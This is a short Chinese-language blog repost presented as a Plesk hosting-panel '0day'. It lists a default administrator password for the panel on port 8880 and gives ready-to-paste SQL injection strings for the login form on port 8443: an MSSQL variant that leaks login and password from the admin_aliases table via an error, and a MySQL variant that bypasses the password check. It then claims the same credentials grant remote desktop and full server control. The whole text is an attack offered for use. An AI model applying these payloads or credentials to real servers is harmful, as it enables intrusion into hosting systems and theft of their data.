plesk panel 虚拟主机管理平台 0day

 1,在http://xxxxxx.com:8880这里，默认的管理员账户密码是admin   密码stepu

 

2，在https://xxxxx.com:8443

mssql版本

账号 ' union select top 1 login+char(124)+passwd from admin_aliases--

报错,爆出账号密码

登陆后server-->remote desktop账号密码一样
拿到服务器权限

mysql版本
'union select '-1 union select 1,1,1#'#   密码填 1

本文转hackfreer51CTO博客，原文链接：http://blog.51cto.com/pnig0s1992/496153，如需转载请自行联系原作者